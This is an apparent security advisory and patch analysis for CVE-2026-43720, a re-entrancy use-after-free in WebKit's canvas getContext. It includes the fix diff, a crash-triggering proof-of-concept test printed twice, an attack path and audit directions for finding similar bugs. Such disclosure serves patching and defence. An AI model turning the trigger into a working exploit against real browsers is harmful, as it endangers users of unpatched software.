CVE-2026-43720
Overview
Impact:
Description: Processing maliciously crafted web content may lead to an unexpected Safari crash
Researchers: Josef Korbel, Gia Bui (@yabeow) from Calif.io
Key insight. getContext cached m_context’s nullness across a WebIDL dictionary conversion that can run script and re-entrantly set it, then created a second context and clobbered the first — re-checking m_context (and detach state) after every script-running step closes it.
Patch Details
diff --git a/LayoutTests/fast/canvas/canvas-getContext-reentrant-expected.txt b/LayoutTests/fast/canvas/canvas-getContext-reentrant-expected.txt
new file mode 100644
index 000000000000..d801ccb9fae7
--- /dev/null
+++ b/LayoutTests/fast/canvas/canvas-getContext-reentrant-expected.txt
@@ -0,0 +1,33 @@
+getContext("2d") with reentrant getContext("2d"): outer=CanvasRenderingContext2D inner=CanvasRenderingContext2D
+getContext("2d") with reentrant getContext("bitmaprenderer"): outer=null inner=ImageBitmapRenderingContext
+getContext("2d") with reentrant getContext("webgl"): outer=null inner=WebGLRenderingContext
+getContext("2d") with reentrant getContext("webgl2"): outer=null inner=WebGL2RenderingContext
+getContext("bitmaprenderer") with reentrant getContext("2d"): outer=null inner=CanvasRenderingContext2D
+getContext("bitmaprenderer") with reentrant getContext("bitmaprenderer"): outer=ImageBitmapRenderingContext inner=ImageBitmapRenderingContext
+getContext("bitmaprenderer") with reentrant getContext("webgl"): outer=null inner=WebGLRenderingContext
+getContext("bitmaprenderer") with reentrant getContext("webgl2"): outer=null inner=WebGL2RenderingContext
+getContext("webgl") with reentrant getContext("2d"): outer=null inner=CanvasRenderingContext2D
+getContext("webgl") with reentrant getContext("bitmaprenderer"): outer=null inner=ImageBitmapRenderingContext
+getContext("webgl") with reentrant getContext("webgl"): outer=WebGLRenderingContext inner=WebGLRenderingContext
+getContext("webgl") with reentrant getContext("webgl2"): outer=null inner=WebGL2RenderingContext
+getContext("webgl2") with reentrant getContext("2d"): outer=null inner=CanvasRenderingContext2D
+getContext("webgl2") with reentrant getContext("bitmaprenderer"): outer=null inner=ImageBitmapRenderingContext
+getContext("webgl2") with reentrant getContext("webgl"): outer=null inner=WebGLRenderingContext
+getContext("webgl2") with reentrant getContext("webgl2"): outer=WebGL2RenderingContext inner=WebGL2RenderingContext
+OffscreenCanvas getContext("2d") with reentrant getContext("2d"): outer=OffscreenCanvasRenderingContext2D inner=OffscreenCanvasRenderingContext2D
+OffscreenCanvas getContext("2d") with reentrant getContext("bitmaprenderer"): outer=null inner=ImageBitmapRenderingContext
+OffscreenCanvas getContext("2d") with reentrant getContext("webgl"): outer=null inner=WebGLRenderingContext
+OffscreenCanvas getContext("2d") with reentrant getContext("webgl2"): outer=null inner=WebGL2RenderingContext
+OffscreenCanvas getContext("bitmaprenderer") with reentrant getContext("2d"): outer=null inner=OffscreenCanvasRenderingContext2D
+OffscreenCanvas getContext("bitmaprenderer") with reentrant getContext("bitmaprenderer"): outer=ImageBitmapRenderingContext inner=ImageBitmapRenderingContext
+OffscreenCanvas getContext("bitmaprenderer") with reentrant getContext("webgl"): outer=null inner=WebGLRenderingContext
+OffscreenCanvas getContext("bitmaprenderer") with reentrant getContext("webgl2"): outer=null inner=WebGL2RenderingContext
+OffscreenCanvas getContext("webgl") with reentrant getContext("2d"): outer=null inner=OffscreenCanvasRenderingContext2D
+OffscreenCanvas getContext("webgl") with reentrant getContext("bitmaprenderer"): outer=null inner=ImageBitmapRenderingContext
+OffscreenCanvas getContext("webgl") with reentrant getContext("webgl"): outer=WebGLRenderingContext inner=WebGLRenderingContext
+OffscreenCanvas getContext("webgl") with reentrant getContext("webgl2"): outer=null inner=WebGL2RenderingContext
+OffscreenCanvas getContext("webgl2") with reentrant getContext("2d"): outer=null inner=OffscreenCanvasRenderingContext2D
+OffscreenCanvas getContext("webgl2") with reentrant getContext("bitmaprenderer"): outer=null inner=ImageBitmapRenderingContext
+OffscreenCanvas getContext("webgl2") with reentrant getContext("webgl"): outer=null inner=WebGLRenderingContext
+OffscreenCanvas getContext("webgl2") with reentrant getContext("webgl2"): outer=WebGL2RenderingContext inner=WebGL2RenderingContext
+PASS if no crash.
diff --git a/LayoutTests/fast/canvas/canvas-getContext-reentrant.html b/LayoutTests/fast/canvas/canvas-getContext-reentrant.html
new file mode 100644
index 000000000000..e46e9d41f37d
--- /dev/null
+++ b/LayoutTests/fast/canvas/canvas-getContext-reentrant.html
@@ -0,0 +1,47 @@
+<!DOCTYPE html>
+<script>
+if (window.testRunner)
+ testRunner.dumpAsText();
+
+function gc() {
+ if (window.GCController)
+ return GCController.collect();
+ for (let i = 0; i < 10000; i++)
+ new String("abc");
+}
+
+function reenter(outer, inner) {
+ let canvas = document.createElement("canvas");
+ let innerCtx;
+ let outerCtx = canvas.getContext(outer, {
+ get colorSpace() { innerCtx = canvas.getContext(inner); return "srgb"; },
+ get alpha() { innerCtx = canvas.getContext(inner); return true; },
+ });
+ document.write(`getContext("${outer}") with reentrant getContext("${inner}"): outer=${name(outerCtx)} inner=${name(innerCtx)}<br>`);
+}
+
+function reenterOffscreen(outer, inner) {
+ let canvas = new OffscreenCanvas(10, 10);
+ let innerCtx;
+ let outerCtx = canvas.getContext(outer, {
+ get colorSpace() { innerCtx = canvas.getContext(inner); return "srgb"; },
+ get alpha() { innerCtx = canvas.getContext(inner); return true; },
+ });
+ document.write(`OffscreenCanvas getContext("${outer}") with reentrant getContext("${inner}"): outer=${name(outerCtx)} inner=${name(innerCtx)}<br>`);
+}
+
+function name(ctx) {
+ return ctx ? ctx.constructor.name : "null";
+}
+
+for (let outer of ["2d", "bitmaprenderer", "webgl", "webgl2"])
+ for (let inner of ["2d", "bitmaprenderer", "webgl", "webgl2"])
+ reenter(outer, inner);
+
+for (let outer of ["2d", "bitmaprenderer", "webgl", "webgl2"])
+ for (let inner of ["2d", "bitmaprenderer", "webgl", "webgl2"])
+ reenterOffscreen(outer, inner);
+
+gc();
+document.write("PASS if no crash.");
+</script>
diff --git a/Source/WebCore/html/HTMLCanvasElement.cpp b/Source/WebCore/html/HTMLCanvasElement.cpp
index c280824242a4..2bc4b33962b8 100644
--- a/Source/WebCore/html/HTMLCanvasElement.cpp
+++ b/Source/WebCore/html/HTMLCanvasElement.cpp
@@ -226,7 +226,8 @@ void HTMLCanvasElement::setSizeForControllingContext(IntSize newSize)
ExceptionOr<std::optional<RenderingContext>> HTMLCanvasElement::getContext(JSC::JSGlobalObject& state, const String& contextId, FixedVector<JSC::Strong<JSC::Unknown>>&& arguments)
{
- if (m_context) {
+ auto getExistingContext = [&]() -> ExceptionOr<std::optional<RenderingContext>> {
+ ASSERT(m_context);
if (m_context->isPlaceholder())
return Exception { ExceptionCode::InvalidStateError };
@@ -263,7 +264,10 @@ ExceptionOr<std::optional<RenderingContext>> HTMLCanvasElement::getContext(JSC::
ASSERT_NOT_REACHED();
return std::optional<RenderingContext> { std::nullopt };
- }
+ };
+
+ if (m_context)
+ return getExistingContext();
if (is2dType(contextId)) {
Ref vm = state.vm();
@@ -273,6 +277,10 @@ ExceptionOr<std::optional<RenderingContext>> HTMLCanvasElement::getContext(JSC::
if (settings.hasException(scope)) [[unlikely]]
return Exception { ExceptionCode::ExistingExceptionError };
+ // Dictionary conversion may run script, which may have set m_context via a re-entrant getContext().
+ if (m_context) [[unlikely]]
+ return getExistingContext();
+
RefPtr context = createContext2d(contextId, settings.releaseReturnValue());
if (!context)
return std::optional<RenderingContext> { std::nullopt };
@@ -287,6 +295,10 @@ ExceptionOr<std::optional<RenderingContext>> HTMLCanvasElement::getContext(JSC::
if (settings.hasException(scope)) [[unlikely]]
return Exception { ExceptionCode::ExistingExceptionError };
+ // Dictionary conversion may run script, which may have set m_context via a re-entrant getContext().
+ if (m_context) [[unlikely]]
+ return getExistingContext();
+
RefPtr context = createContextBitmapRenderer(contextId, settings.releaseReturnValue());
if (!context)
return std::optional<RenderingContext> { std::nullopt };
@@ -302,6 +314,10 @@ ExceptionOr<std::optional<RenderingContext>> HTMLCanvasElement::getContext(JSC::
if (attributes.hasException(scope)) [[unlikely]]
return Exception { ExceptionCode::ExistingExceptionError };
+ // Dictionary conversion may run script, which may have set m_context via a re-entrant getContext().
+ if (m_context) [[unlikely]]
+ return getExistingContext();
+
RefPtr context = createContextWebGL(toWebGLVersion(contextId), attributes.releaseReturnValue());
if (!context)
return std::optional<RenderingContext> { std::nullopt };
@@ -355,7 +371,7 @@ bool HTMLCanvasElement::is2dType(const String& type)
CanvasRenderingContext2D* HTMLCanvasElement::createContext2d(const String& type, CanvasRenderingContext2DSettings&& settings)
{
ASSERT_UNUSED(HTMLCanvasElement::is2dType(type), type);
- ASSERT(!m_context);
+ ASSERT_WITH_SECURITY_IMPLICATION(!m_context);
m_context = CanvasRenderingContext2D::create(*this, WTF::move(settings), document().inQuirksMode());
if (!m_context)
@@ -403,7 +419,7 @@ WebGLVersion HTMLCanvasElement::toWebGLVersion(const String& type)
WebGLRenderingContextBase* HTMLCanvasElement::createContextWebGL(WebGLVersion type, WebGLContextAttributes&& attrs)
{
- ASSERT(!m_context);
+ ASSERT_WITH_SECURITY_IMPLICATION(!m_context);
if (!document().settings().webGLEnabled())
return nullptr;
@@ -459,7 +475,7 @@ bool HTMLCanvasElement::isBitmapRendererType(const String& type)
ImageBitmapRenderingContext* HTMLCanvasElement::createContextBitmapRenderer(const String& type, ImageBitmapRenderingContextSettings&& settings)
{
ASSERT_UNUSED(type, HTMLCanvasElement::isBitmapRendererType(type));
- ASSERT(!m_context);
+ ASSERT_WITH_SECURITY_IMPLICATION(!m_context);
auto context = ImageBitmapRenderingContext::create(*this, WTF::move(settings));
WeakPtr weakContext = *context;
@@ -491,7 +507,7 @@ bool HTMLCanvasElement::isWebGPUType(const String& type)
GPUCanvasContext* HTMLCanvasElement::createContextWebGPU(const String& type, GPU* gpu)
{
ASSERT_UNUSED(type, HTMLCanvasElement::isWebGPUType(type));
- ASSERT(!m_context);
+ ASSERT_WITH_SECURITY_IMPLICATION(!m_context);
if (!document().settings().webGPUEnabled() || !gpu)
return nullptr;
diff --git a/Source/WebCore/html/OffscreenCanvas.cpp b/Source/WebCore/html/OffscreenCanvas.cpp
index f67caa13c15d..5adbd49dc2d5 100644
--- a/Source/WebCore/html/OffscreenCanvas.cpp
+++ b/Source/WebCore/html/OffscreenCanvas.cpp
@@ -183,6 +183,13 @@ ExceptionOr<std::optional<OffscreenRenderingContext>> OffscreenCanvas::getContex
if (m_detached)
return Exception { ExceptionCode::InvalidStateError };
+ // Dictionary conversion may run script, which may have detached this canvas.
+ auto shouldThrowForDetachedCanvas = [&]() -> ExceptionOr<void> {
+ if (m_detached) [[unlikely]]
+ return Exception { ExceptionCode::InvalidStateError };
+ return { };
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2026-43720 |
| Bugzilla | 313175 |
| Component | WebCore |
| Bug Class | UAF |
| Severity | medium |
| Commit | 040ef6e21ffac03b… |
| Advisory | Apple Advisory |
Terminology
- Canvas rendering context (m_context) — A canvas lazily creates and caches one rendering context (2d/webgl/bitmap/webgpu) in m_context on the first getContext call.
- WebIDL dictionary conversion — Converting a JS argument to a WebIDL dictionary reads its properties, which can invoke author-defined getters and thus run script mid-call.
- Re-entrancy — Script run during argument conversion can call back into getContext on the same canvas before the outer call finishes.
- ASSERT_WITH_SECURITY_IMPLICATION — A stronger assertion marking an invariant whose violation is security-relevant, enabled in security test/debug builds.
Root Cause Analysis
HTMLCanvasElement::getContext (and OffscreenCanvas::getContext) convert the JS arguments into a WebIDL settings/attributes dictionary before creating the rendering context, and that dictionary conversion can run author script through getters/valueOf on the supplied object. The pre-patch code checked m_context once at entry, performed the conversion, then unconditionally created a new context and assigned m_context = createContext...(). If script executed during the conversion re-entrantly called getContext() and set m_context, the outer call would overwrite m_context with a second, freshly-created context — dropping the context the inner call had already created (and possibly already returned to script), leaving dangling references to a now-freed context object: a use-after-free / memory corruption. The fix factors the existing-context path into a getExistingContext lambda and, after every dictionary conversion that can run script, re-checks if (m_context) return getExistingContext(); and guards creation with if (!m_context), so a context established by re-entrancy is honored rather than clobbered. For OffscreenCanvas, the conversion can additionally detach the canvas, so a shouldThrowForDetachedCanvas() re-check is added after each conversion and creation is likewise guarded by if (!m_context). The ASSERT(!m_context) invariants in createContext2d/createContextWebGL/createContextBitmapRenderer/createContextWebGPU were strengthened to ASSERT_WITH_SECURITY_IMPLICATION(!m_context) to catch a double-create. The restored invariant is that m_context is re-validated after any step that may run script, and a canvas creates exactly one rendering context exactly once.
Attack Path
1. Call getContext with a script hook
Call canvas.getContext(type, settings) where settings is an object whose getter (or a coercible member) runs attacker script during WebIDL dictionary conversion.
2. Re-enter getContext
Inside the getter, call canvas.getContext(type, …) again; the inner call creates and assigns m_context and returns a context object to script.
3. Clobber the context
The outer call resumes after conversion and, pre-patch, creates a second context and overwrites m_context, dropping the inner context.
4. Free and dangle
The replaced context is destroyed (helped by gc()) while script still references it — use-after-free / memory corruption in WebContent.
Impact Assessment
A script-controlled re-entrancy UAF / double-create of a canvas rendering context. The attacker fully controls the re-entrant call and its timing via the settings-object getter, but the object and window are constrained, so the realistic outcome is a controlled crash with potential for memory corruption after heap grooming. Confined to the WebContent process (GPU-backed contexts are still brokered from WebContent). Rated medium (CVSS 6.5).
Audit Directions
Other getContext-style factories
grep for a member read, then releaseReturnValue()/dictionary conversion, then an unconditional member assignment without re-checking the member — the exact clobber shape fixed here.
Assumptions across argument coercion
Audit DOM methods that assume a member stays null/unchanged across convert<IDLDictionary>/argument coercion, since coercion can run script and re-enter.
OffscreenCanvas detach/transfer
Check transferToImageBitmap and other OffscreenCanvas paths for state (m_detached/m_context) that can change via script during conversion.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
HTMLCanvasElement::getContext |
Source/WebCore/html/HTMLCanvasElement.cpp |
modified | Extracts a getExistingContext() lambda and, after each 2d/bitmap/webgl dictionary conversion, re-checks if (m_context) return getExistingContext(); so a re-entrantly-created context is not overwritten. |
HTMLCanvasElement::createContext2d / createContextWebGL / createContextBitmapRenderer / createContextWebGPU |
Source/WebCore/html/HTMLCanvasElement.cpp |
modified | ASSERT(!m_context) upgraded to ASSERT_WITH_SECURITY_IMPLICATION(!m_context) to catch a double-create as a security-relevant invariant. |
OffscreenCanvas::getContext |
Source/WebCore/html/OffscreenCanvas.cpp |
modified | Adds shouldThrowForDetachedCanvas() re-checks after conversions (script may detach the canvas) and guards each context creation with if (!m_context) against re-entrant creation. |
Files Changed
Source Files
Source/WebCore/html/HTMLCanvasElement.cppSource/WebCore/html/OffscreenCanvas.cpp
Test Files
LayoutTests/fast/canvas/canvas-getContext-reentrant-expected.txtLayoutTests/fast/canvas/canvas-getContext-reentrant.html
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/LayoutTests/fast/canvas/canvas-getContext-reentrant-expected.txt b/LayoutTests/fast/canvas/canvas-getContext-reentrant-expected.txt
new file mode 100644
index 000000000000..d801ccb9fae7
--- /dev/null
+++ b/LayoutTests/fast/canvas/canvas-getContext-reentrant-expected.txt
@@ -0,0 +1,33 @@
+getContext("2d") with reentrant getContext("2d"): outer=CanvasRenderingContext2D inner=CanvasRenderingContext2D
+getContext("2d") with reentrant getContext("bitmaprenderer"): outer=null inner=ImageBitmapRenderingContext
+getContext("2d") with reentrant getContext("webgl"): outer=null inner=WebGLRenderingContext
+getContext("2d") with reentrant getContext("webgl2"): outer=null inner=WebGL2RenderingContext
+getContext("bitmaprenderer") with reentrant getContext("2d"): outer=null inner=CanvasRenderingContext2D
+getContext("bitmaprenderer") with reentrant getContext("bitmaprenderer"): outer=ImageBitmapRenderingContext inner=ImageBitmapRenderingContext
+getContext("bitmaprenderer") with reentrant getContext("webgl"): outer=null inner=WebGLRenderingContext
+getContext("bitmaprenderer") with reentrant getContext("webgl2"): outer=null inner=WebGL2RenderingContext
+getContext("webgl") with reentrant getContext("2d"): outer=null inner=CanvasRenderingContext2D
+getContext("webgl") with reentrant getContext("bitmaprenderer"): outer=null inner=ImageBitmapRenderingContext
+getContext("webgl") with reentrant getContext("webgl"): outer=WebGLRenderingContext inner=WebGLRenderingContext
+getContext("webgl") with reentrant getContext("webgl2"): outer=null inner=WebGL2RenderingContext
+getContext("webgl2") with reentrant getContext("2d"): outer=null inner=CanvasRenderingContext2D
+getContext("webgl2") with reentrant getContext("bitmaprenderer"): outer=null inner=ImageBitmapRenderingContext
+getContext("webgl2") with reentrant getContext("webgl"): outer=null inner=WebGLRenderingContext
+getContext("webgl2") with reentrant getContext("webgl2"): outer=WebGL2RenderingContext inner=WebGL2RenderingContext
+OffscreenCanvas getContext("2d") with reentrant getContext("2d"): outer=OffscreenCanvasRenderingContext2D inner=OffscreenCanvasRenderingContext2D
+OffscreenCanvas getContext("2d") with reentrant getContext("bitmaprenderer"): outer=null inner=ImageBitmapRenderingContext
+OffscreenCanvas getContext("2d") with reentrant getContext("webgl"): outer=null inner=WebGLRenderingContext
+OffscreenCanvas getContext("2d") with reentrant getContext("webgl2"): outer=null inner=WebGL2RenderingContext
+OffscreenCanvas getContext("bitmaprenderer") with reentrant getContext("2d"): outer=null inner=OffscreenCanvasRenderingContext2D
+OffscreenCanvas getContext("bitmaprenderer") with reentrant getContext("bitmaprenderer"): outer=ImageBitmapRenderingContext inner=ImageBitmapRenderingContext
+OffscreenCanvas getContext("bitmaprenderer") with reentrant getContext("webgl"): outer=null inner=WebGLRenderingContext
+OffscreenCanvas getContext("bitmaprenderer") with reentrant getContext("webgl2"): outer=null inner=WebGL2RenderingContext
+OffscreenCanvas getContext("webgl") with reentrant getContext("2d"): outer=null inner=OffscreenCanvasRenderingContext2D
+OffscreenCanvas getContext("webgl") with reentrant getContext("bitmaprenderer"): outer=null inner=ImageBitmapRenderingContext
+OffscreenCanvas getContext("webgl") with reentrant getContext("webgl"): outer=WebGLRenderingContext inner=WebGLRenderingContext
+OffscreenCanvas getContext("webgl") with reentrant getContext("webgl2"): outer=null inner=WebGL2RenderingContext
+OffscreenCanvas getContext("webgl2") with reentrant getContext("2d"): outer=null inner=OffscreenCanvasRenderingContext2D
+OffscreenCanvas getContext("webgl2") with reentrant getContext("bitmaprenderer"): outer=null inner=ImageBitmapRenderingContext
+OffscreenCanvas getContext("webgl2") with reentrant getContext("webgl"): outer=null inner=WebGLRenderingContext
+OffscreenCanvas getContext("webgl2") with reentrant getContext("webgl2"): outer=WebGL2RenderingContext inner=WebGL2RenderingContext
+PASS if no crash.
diff --git a/LayoutTests/fast/canvas/canvas-getContext-reentrant.html b/LayoutTests/fast/canvas/canvas-getContext-reentrant.html
new file mode 100644
index 000000000000..e46e9d41f37d
--- /dev/null
+++ b/LayoutTests/fast/canvas/canvas-getContext-reentrant.html
@@ -0,0 +1,47 @@
+<!DOCTYPE html>
+<script>
+if (window.testRunner)
+ testRunner.dumpAsText();
+
+function gc() {
+ if (window.GCController)
+ return GCController.collect();
+ for (let i = 0; i < 10000; i++)
+ new String("abc");
+}
+
+function reenter(outer, inner) {
+ let canvas = document.createElement("canvas");
+ let innerCtx;
+ let outerCtx = canvas.getContext(outer, {
+ get colorSpace() { innerCtx = canvas.getContext(inner); return "srgb"; },
+ get alpha() { innerCtx = canvas.getContext(inner); return true; },
+ });
+ document.write(`getContext("${outer}") with reentrant getContext("${inner}"): outer=${name(outerCtx)} inner=${name(innerCtx)}<br>`);
+}
+
+function reenterOffscreen(outer, inner) {
+ let canvas = new OffscreenCanvas(10, 10);
+ let innerCtx;
+ let outerCtx = canvas.getContext(outer, {
+ get colorSpace() { innerCtx = canvas.getContext(inner); return "srgb"; },
+ get alpha() { innerCtx = canvas.getContext(inner); return true; },
+ });
+ document.write(`OffscreenCanvas getContext("${outer}") with reentrant getContext("${inner}"): outer=${name(outerCtx)} inner=${name(innerCtx)}<br>`);
+}
+
+function name(ctx) {
+ return ctx ? ctx.constructor.name : "null";
+}
+
+for (let outer of ["2d", "bitmaprenderer", "webgl", "webgl2"])
+ for (let inner of ["2d", "bitmaprenderer", "webgl", "webgl2"])
+ reenter(outer, inner);
+
+for (let outer of ["2d", "bitmaprenderer", "webgl", "webgl2"])
+ for (let inner of ["2d", "bitmaprenderer", "webgl", "webgl2"])
+ reenterOffscreen(outer, inner);
+
+gc();
+document.write("PASS if no crash.");
+</script>